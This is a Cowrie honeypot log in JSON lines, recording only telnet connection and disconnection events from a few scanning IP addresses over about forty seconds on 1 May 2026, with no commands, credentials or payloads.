{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46368,"dst_ip":"10.17.0.5","dst_port":23,"session":"2593545fb2cb","protocol":"telnet","message":"New connection: 188.208.141.113:46368 (10.17.0.5:23) [session: 2593545fb2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:01.661025Z"}
{"eventid":"cowrie.session.closed","duration":30.832435607910156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:02.485269Z","src_ip":"103.208.219.59","session":"b64f34bde8fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.704097270965576,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:04.158417Z","src_ip":"188.208.141.113","session":"3b58ed3ec70e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.90623736381531,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:05.104838Z","src_ip":"188.208.141.113","session":"c427eb656937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054590225219727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:05.230886Z","src_ip":"103.208.219.59","session":"1c504fb84a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.870800495147705,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:05.610590Z","src_ip":"188.208.141.113","session":"6b1f8b9c163e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46380,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22a6215e5ee","protocol":"telnet","message":"New connection: 188.208.141.113:46380 (10.17.0.5:23) [session: b22a6215e5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:06.290040Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53476,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f40dc8e51c1","protocol":"telnet","message":"New connection: 103.208.219.59:53476 (10.17.0.5:23) [session: 2f40dc8e51c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:06.508872Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46382,"dst_ip":"10.17.0.5","dst_port":23,"session":"46e4233eb3bf","protocol":"telnet","message":"New connection: 188.208.141.113:46382 (10.17.0.5:23) [session: 46e4233eb3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:06.691515Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35548,"dst_ip":"10.17.0.5","dst_port":23,"session":"798c33da2161","protocol":"telnet","message":"New connection: 104.167.8.156:35548 (10.17.0.5:23) [session: 798c33da2161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:07.325606Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39042,"dst_ip":"10.17.0.5","dst_port":23,"session":"318db5361789","protocol":"telnet","message":"New connection: 103.208.219.59:39042 (10.17.0.5:23) [session: 318db5361789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:07.681734Z"}
{"eventid":"cowrie.session.closed","duration":31.185794591903687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:08.281910Z","src_ip":"103.208.219.59","session":"3785f1c1f721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426557779312134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:08.614839Z","src_ip":"103.208.219.59","session":"a2c0c4201b8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44676,"dst_ip":"159.203.135.109","dst_port":23,"session":"a611ec29e73b","protocol":"telnet","message":"New connection: 64.227.9.242:44676 (159.203.135.109:23) [session: a611ec29e73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:09.108550Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39056,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f2077994e0","protocol":"telnet","message":"New connection: 103.208.219.59:39056 (10.17.0.5:23) [session: d3f2077994e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:09.771885Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39072,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbdb74ad791","protocol":"telnet","message":"New connection: 103.208.219.59:39072 (10.17.0.5:23) [session: ccbdb74ad791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:09.798859Z"}
{"eventid":"cowrie.session.closed","duration":40.28909754753113,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:10.262677Z","src_ip":"188.208.141.113","session":"794e7031ca99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707922220230103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:12.246597Z","src_ip":"103.208.219.59","session":"3d3de40a547e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39082,"dst_ip":"10.17.0.5","dst_port":23,"session":"715ee9532eb3","protocol":"telnet","message":"New connection: 103.208.219.59:39082 (10.17.0.5:23) [session: 715ee9532eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:12.252906Z"}
{"eventid":"cowrie.session.closed","duration":43.59153914451599,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:12.548094Z","src_ip":"188.208.141.113","session":"0e7e8fa3db3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39086,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6972689cac2","protocol":"telnet","message":"New connection: 103.208.219.59:39086 (10.17.0.5:23) [session: e6972689cac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:12.643939Z"}
{"eventid":"cowrie.session.closed","duration":31.13538932800293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:13.293272Z","src_ip":"103.208.219.59","session":"e461a6028ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.60825181007385,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:13.311512Z","src_ip":"64.227.9.242","session":"2ff9fc56b338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c098da20ffdf","protocol":"telnet","message":"New connection: 103.208.219.59:39090 (10.17.0.5:23) [session: c098da20ffdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:13.351758Z"}
{"eventid":"cowrie.session.closed","duration":42.6564998626709,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:13.634628Z","src_ip":"188.208.141.113","session":"54e4c4380dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7257661819458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:14.144547Z","src_ip":"43.225.52.5","session":"794336b73c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9369988441467285,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:14.226936Z","src_ip":"188.208.141.113","session":"b22a6215e5ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39100,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e1e24c7d62","protocol":"telnet","message":"New connection: 103.208.219.59:39100 (10.17.0.5:23) [session: b5e1e24c7d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:14.770561Z"}
{"eventid":"cowrie.session.closed","duration":31.663588285446167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:15.666010Z","src_ip":"43.225.52.5","session":"03fe179c2ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.98322796821594,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:16.287660Z","src_ip":"188.208.141.113","session":"9fc4ae306b25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":53248,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbaef6a64c04","protocol":"telnet","message":"New connection: 64.227.9.242:53248 (159.203.135.109:23) [session: fbaef6a64c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:16.975740Z"}
{"eventid":"cowrie.session.closed","duration":30.789782524108887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:19.122767Z","src_ip":"43.225.52.5","session":"dcd569cfe1e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81274652481079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:19.178643Z","src_ip":"103.208.219.59","session":"012347d47962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53420,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec68567a366f","protocol":"telnet","message":"New connection: 188.208.141.113:53420 (10.17.0.5:23) [session: ec68567a366f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:20.680840Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":58540,"dst_ip":"10.17.0.5","dst_port":23,"session":"10cdd78f5af7","protocol":"telnet","message":"New connection: 103.208.219.59:58540 (10.17.0.5:23) [session: 10cdd78f5af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:20.901351Z"}
{"eventid":"cowrie.session.closed","duration":31.285969257354736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:20.949319Z","src_ip":"103.208.219.59","session":"d6b069774f5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589393615722656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:21.135986Z","src_ip":"103.208.219.59","session":"4f3ab368bfa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":58546,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8d48ee05da0","protocol":"telnet","message":"New connection: 103.208.219.59:58546 (10.17.0.5:23) [session: e8d48ee05da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:21.962856Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53422,"dst_ip":"10.17.0.5","dst_port":23,"session":"b35c232e1ef7","protocol":"telnet","message":"New connection: 188.208.141.113:53422 (10.17.0.5:23) [session: b35c232e1ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:21.990452Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"c10085b1bfd7","protocol":"telnet","message":"New connection: 103.208.219.59:58548 (10.17.0.5:23) [session: c10085b1bfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:23.242454Z"}
{"eventid":"cowrie.session.closed","duration":54.07074213027954,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:23.751854Z","src_ip":"43.225.52.5","session":"39b03d990a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.633463859558105,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:23.903565Z","src_ip":"188.208.141.113","session":"aa66891eda84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":58558,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca91a87246c","protocol":"telnet","message":"New connection: 103.208.219.59:58558 (10.17.0.5:23) [session: dca91a87246c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:24.519575Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":58566,"dst_ip":"10.17.0.5","dst_port":23,"session":"fed4329c3941","protocol":"telnet","message":"New connection: 103.208.219.59:58566 (10.17.0.5:23) [session: fed4329c3941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:24.799408Z"}
{"eventid":"cowrie.session.closed","duration":38.94853329658508,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:25.113364Z","src_ip":"188.208.141.113","session":"2f93ea2f7d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44940686225891,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:25.932758Z","src_ip":"43.225.52.5","session":"ab993f417f22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39748,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef46b94151f2","protocol":"telnet","message":"New connection: 103.208.219.59:39748 (10.17.0.5:23) [session: ef46b94151f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:27.919683Z"}
{"eventid":"cowrie.session.closed","duration":32.018306016922,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:27.972325Z","src_ip":"103.208.219.59","session":"6995ecbc8c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644877672195435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:28.402440Z","src_ip":"103.208.219.59","session":"6690ce8068c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39760,"dst_ip":"10.17.0.5","dst_port":23,"session":"c87c5a22d91d","protocol":"telnet","message":"New connection: 103.208.219.59:39760 (10.17.0.5:23) [session: c87c5a22d91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:28.742331Z"}
{"eventid":"cowrie.session.closed","duration":31.188619136810303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:29.275295Z","src_ip":"103.208.219.59","session":"f09178f3be2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39776,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec13094b5fd","protocol":"telnet","message":"New connection: 103.208.219.59:39776 (10.17.0.5:23) [session: 9ec13094b5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:29.471574Z"}
{"eventid":"cowrie.session.closed","duration":43.76839637756348,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:29.575405Z","src_ip":"188.208.141.113","session":"c1a388844ac2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"9815623289b3","protocol":"telnet","message":"New connection: 103.208.219.59:39778 (10.17.0.5:23) [session: 9815623289b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:29.683021Z"}
{"eventid":"cowrie.session.closed","duration":31.875025510787964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:29.803847Z","src_ip":"103.208.219.59","session":"cf5b9a61d7d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123034238815308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:31.387754Z","src_ip":"103.208.219.59","session":"c04f8c0458d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39784,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f8cf7fd3e87","protocol":"telnet","message":"New connection: 103.208.219.59:39784 (10.17.0.5:23) [session: 1f8cf7fd3e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:31.764703Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39786,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe06c81828c","protocol":"telnet","message":"New connection: 103.208.219.59:39786 (10.17.0.5:23) [session: abe06c81828c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:31.842990Z"}
{"eventid":"cowrie.session.closed","duration":30.538323163986206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:32.120196Z","src_ip":"103.208.219.59","session":"1cda285ba304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54364037513733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:32.199967Z","src_ip":"103.208.219.59","session":"944705a944f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39790,"dst_ip":"10.17.0.5","dst_port":23,"session":"0960774008f3","protocol":"telnet","message":"New connection: 103.208.219.59:39790 (10.17.0.5:23) [session: 0960774008f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:32.320069Z"}
{"eventid":"cowrie.session.closed","duration":31.2484872341156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:32.438681Z","src_ip":"103.208.219.59","session":"e87fe7e01ab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.32324409484863,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:34.298663Z","src_ip":"188.208.141.113","session":"4b887d6c2e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39802,"dst_ip":"10.17.0.5","dst_port":23,"session":"43739addbc19","protocol":"telnet","message":"New connection: 103.208.219.59:39802 (10.17.0.5:23) [session: 43739addbc19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:34.387633Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53760,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f8d958e5ea0","protocol":"telnet","message":"New connection: 188.208.141.113:53760 (10.17.0.5:23) [session: 8f8d958e5ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:34.779392Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53762,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bd22fbf5da5","protocol":"telnet","message":"New connection: 188.208.141.113:53762 (10.17.0.5:23) [session: 7bd22fbf5da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:35.588375Z"}
{"eventid":"cowrie.session.closed","duration":42.6370484828949,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:36.902661Z","src_ip":"188.208.141.113","session":"3354b348f3a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74992537498474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:37.258666Z","src_ip":"103.208.219.59","session":"2f40dc8e51c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79372262954712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:38.119193Z","src_ip":"104.167.8.156","session":"798c33da2161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521936893463135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:38.203587Z","src_ip":"103.208.219.59","session":"318db5361789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.66788339614868,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:38.886459Z","src_ip":"188.208.141.113","session":"73ec24039094","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53776,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabcf577b252","protocol":"telnet","message":"New connection: 188.208.141.113:53776 (10.17.0.5:23) [session: eabcf577b252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:39.165897Z"}
{"eventid":"cowrie.session.closed","duration":4.509974479675293,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:40.098222Z","src_ip":"188.208.141.113","session":"7bd22fbf5da5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737280130386353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:40.536044Z","src_ip":"103.208.219.59","session":"ccbdb74ad791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89173412322998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:40.663498Z","src_ip":"103.208.219.59","session":"d3f2077994e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.979286193847656,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:40.758529Z","src_ip":"188.208.141.113","session":"8f8d958e5ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.61134672164917,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:41.376715Z","src_ip":"188.208.141.113","session":"a79776d0eb31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.890758752822876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:41.582112Z","src_ip":"188.208.141.113","session":"46e4233eb3bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45156,"dst_ip":"10.17.0.5","dst_port":23,"session":"84129ee5ee5b","protocol":"telnet","message":"New connection: 188.208.141.113:45156 (10.17.0.5:23) [session: 84129ee5ee5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:41.821588Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":36882,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89ff05d8b36","protocol":"telnet","message":"New connection: 103.208.219.59:36882 (10.17.0.5:23) [session: b89ff05d8b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:42.118707Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":36896,"dst_ip":"10.17.0.5","dst_port":23,"session":"68238a42f5f1","protocol":"telnet","message":"New connection: 103.208.219.59:36896 (10.17.0.5:23) [session: 68238a42f5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:42.333942Z"}
{"eventid":"cowrie.session.closed","duration":30.926324367523193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:43.179098Z","src_ip":"103.208.219.59","session":"715ee9532eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868897199630737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:43.512702Z","src_ip":"103.208.219.59","session":"e6972689cac2","protocol":"telnet"}
